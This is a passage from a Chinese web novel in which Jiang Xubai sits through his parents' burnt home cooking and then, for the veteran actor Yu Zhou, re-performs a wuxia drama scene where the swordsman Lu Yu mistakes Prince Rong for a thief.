晚饭是纪琼薇和江山鹤亲自下厨1的手艺,一道黑糊糊看不出原始材料的不明肉质,一道长短粗细不同,看起来很生的醋溜土豆,还有一蛊泛着浓厚油水,朝天竖着一只鸡爪的鸡。
江叙白:“……”
江叙白极为罕见地欲言又止:“消化不良会引起肠胃问题,这些你们都知道吧?”
纪琼薇强忍着油腻,往碗里勺了一勺鸡汤:“没事,咱们家有常驻家庭医生,”她说着把碗放在江山鹤面前:“老江,最近你太累了,来补补。”
江山鹤的眼神无法从碗里移开,闻言并未推拒,给她加了一块焦炭:“你也多补补,羊肉是大补之物。”
江山鹤捧着碗,纪琼薇夹着黑炭,怎么也无法吃下这些东西。
两人放下东西,长吁短叹感慨:“这么多年过去,儿子也长这么大了,咱俩的厨艺却是完全没有任何一点进步,可能这就是咱们有钱人的宿命吧,天生无法吃到自己做的饭菜。”
江山鹤同样露出怀念之色,明明江叙白就在这里,他却在回忆过去:“当时咱们儿子才刚会说话,你做了辅食,儿子开口第一件事就是——我不要吃粑粑!”
纪琼薇瞪了他一眼:“你还说我,当时你不也做了?还熏得儿子差点都吐了!”
她眼神透着对过去岁月的怀念,看向江叙白:“所以,小白啊,不管以后你到了哪里,永远都是我们的儿子,要学会好好照顾自己,哎这人上了年纪就是有些矫情,怪肉麻的,来来来吃饭。”
江叙白:“……”
江叙白迟疑地看向这一桌难以下咽的食物,“吃这些吗?”
江山鹤哼笑了一声,“我和你妈还没活够,这些都要拿去回收喂猪的,陈姨差不多快做好了,我去看看。”
江叙白:“……”
他很想说,这些焦炭,猪真的吃吗???
次日清晨,天刚微亮,江叙白又是准点起来。
小彤老师的师兄名叫渝舟,是圈内有名的老戏骨,可惜在最火的时候,因为拍戏突发意外,在救人中不慎使脊椎受损,虽然后面慢慢养回来,可是很多高难度的动作无法做到,他的粉丝直至今日谈起这件事都有些忿忿不平。
原因无他,被救的是当年的一位新人,如今成为知名演员,却对当年的事反咬一口,说什么如果不是渝舟不满他戏份太多,故意在武戏中动手脚,好在老天开眼让他自食恶果。
当年渝舟可是炽手可热的演员,还是剧里的男主,会去嫉妒一个娱乐圈的新人?谁都知道那人是在污蔑,可当年并没有摄像头,又处于拍摄范围死角,于是这件事最后也不了了之,只有渝舟经历长达六年的养病,等他回归娱乐圈时,早已没有他的位置。
他对演戏是十分热爱,这种热爱并不是对金钱,对名气的迷恋,而是对演绎不同角色,将他们演活,从银屏上出现在观众面前的喜爱,这是对艺术的追求。
也许是年轻时,经历太多苦难,渝舟私下里比较沉默内敛,他五官俊逸,鼻梁高挺,是当年正剧里,导演最喜欢用的正义角色演员。
时间对演员至关重要,娱乐圈,青春饭,可不是说着玩的。
“我了解过你的情况,你对角色把控得很好,但这也只是我从小彤那边听说。”
他捻了下书籍,将其合拢放置于桌上:“现在咱们来对一场戏,你去年演的《仵作断案》,陆誉第一次见到荣王,误以为他是飞贼,企图擒拿,双方过招的那个剧情片段,你还记得吧?”
《仵作断案》是一部以古代武侠为背景的皇朝时代,主角父亲是一名仵作,因为涉及一桩案子,被人设计蒙冤而死,为了给父亲洗清冤屈,主角踏上查案之路,在路上遇到了各种小伙伴,以及同样想要给全家人报仇雪恨的女主,开展了断案之旅。
陆誉是一位江湖侠客,被主角团的善良动容,一边嫌弃他们太过天真,一边又口嫌体正直地在他们遇到危险时挺身而出,结局是为了替主角挡刀而死。
按理来说,这个剧情播出时,应该会收获一波观众的怜爱,可惜原身的演技实在是硬伤,硬生生把一个毒舌傲娇的人设,演成了尖酸刻薄又矛盾的形象塑造。
这在观众看来陆誉救主角这个情节设定非常生硬,觉得陆誉这个角色完全没有理由为了救主角以命换命,这和角色表现出来的形象严重不符,当时还为此小小上了一次热搜,然而导演也觉得很冤枉,最后还是小说作者出面,啥都没说,留了一句‘请看原著’。
那些观众跟着去看了一下原著,终于发现陆誉这个角色原来并不是尖酸刻薄惹人讨厌,作者设定舍身救人剧情也是一个泪点,谁知道原身会演成那种鬼样子?
看了原著的观众觉得原身侮辱了陆誉这个角色,纷纷到他账号去怒骂。
想到这里,江叙白揉了揉眉心,“给我十分钟的准备。”
陆誉虽然出场时就是江湖侠客的身份,但穿插的剧情回忆,有说过他是一名孤儿,父母遭受仇家杀死,收养他的养父也是为了从他身上得到,他父母有可能留给他的秘籍。
从小就失去父母,在养父到来前,他已经感受过人情冷暖,所以十分早慧,可即便这样也被养父伪装出来的关心呵护所蒙蔽,直到他养父发现他身上,留有父母用特殊药水画下的秘籍,这才暴露真实面目。
陆誉靠着哑仆的舍命相助逃了出来,一直隐姓埋名试图追查出当年杀死他杀父杀母的仇人,随后追查到了皇宫里,当然这些都是后续剧情,和见到荣王时无关。
整理好思路,江叙白开始人生第二次表演——
秋夜月色冷寒,斜斜切过青石板巷口,酒旗在半空中卷出几分颓唐之色,夜晚孤寂得凄凉。
陆誉紧紧攥着半旧的皮质剑鞘,指节因为太过用力而变得泛白。
他刚刚追着那道黑影从屋檐瓦上下来,对方落脚时衣袂扫过墙根的枯草,身手利落,所带出来的风,都带着一股不似江湖人的清贵冷冽,偏偏身法却快得像淬了冬日寒霜里的箭。
“阁下深夜贸然到访聚宝阁后巷,偷的是掌柜藏在房梁上的密函,还是柜台下放置的官银?”陆誉的声音比秋夜里的寒露还要冷厉,剑未出鞘,却已侧身将人擒拿,下颌线绷得像张拉满张力的长弓。
他素来不爱与旁人多口舌,尤其见对方穿着锦衣华服,腰间系着枚质感通透的羊脂玉牌,更觉得此人是哪户富家子弟有别种嗜好,企图当那梁上君子!
正等着将此人抓个现行,对面那人转过身,露出一张清贵雍容的脸,气度逼人,一看便贵不可言。
荣王漫不经心地拂去袖上沾的尘土,眼底却没有任何波澜,只是轻言淡道:“聚宝阁后巷为官道,何时成了阁下的地盘?”
陆誉眉头微蹙,只当他是在狡辩,话音刚落,剑鞘便直捣对方肩头,目的并非为了伤人,而是为了卸力,满心打算等将人制住再说。
哪知对方不闪不避,竟是借着剑鞘力道转身侧过,右手已扣向他持剑的腕骨,这力道看似轻缓,却带着一股不容挣脱的沉稳,宛如牢笼。
“身手不错,就是心性太过急躁。”荣王语气依旧平淡,手上却微微发力。
陆誉只觉手腕一麻,连忙倒退了几步,避开对方接踵而至的掌风,这才惊觉,对方每一个招式中都透着章法,绝不是那些寻常飞贼所能拥有!
“你究竟是何人?”陆誉沉声问道。
荣王闻言,指尖散漫地轻挑玉牌,彻底展露出皇室宗亲才会携带的样式,以及尤为显著的‘荣’字。
他看着陆誉骤然紧绷的脸,眼底终于掠过一丝浅淡到近乎稀薄的笑意,却没直接回答,反问道:“大侠追了我将近五条街,怎么?如今才想起问起身份?”
陆誉喉结滚动了几下,握着剑鞘的手更紧了。
他早该想到,能有这般身手与气度,衣着华贵不凡,岂会是寻常飞贼?可话已说出口,都过了几招,他素来嘴硬,此刻更说不出任何软话。
陆誉冷着脸,有几分强词夺理的意味:“不管你是不是荣王府的人,深夜在官道上疾行,本就可疑!”
荣王闻言意味不明低笑一声,没再同他作争辩:“我要去前方驿站见一位故人,大侠如若仍旧不放心,不妨随我一同?”
陆誉僵在原地,看着那道身影渐行渐远,终究还是没追上去,他才不是多事之人!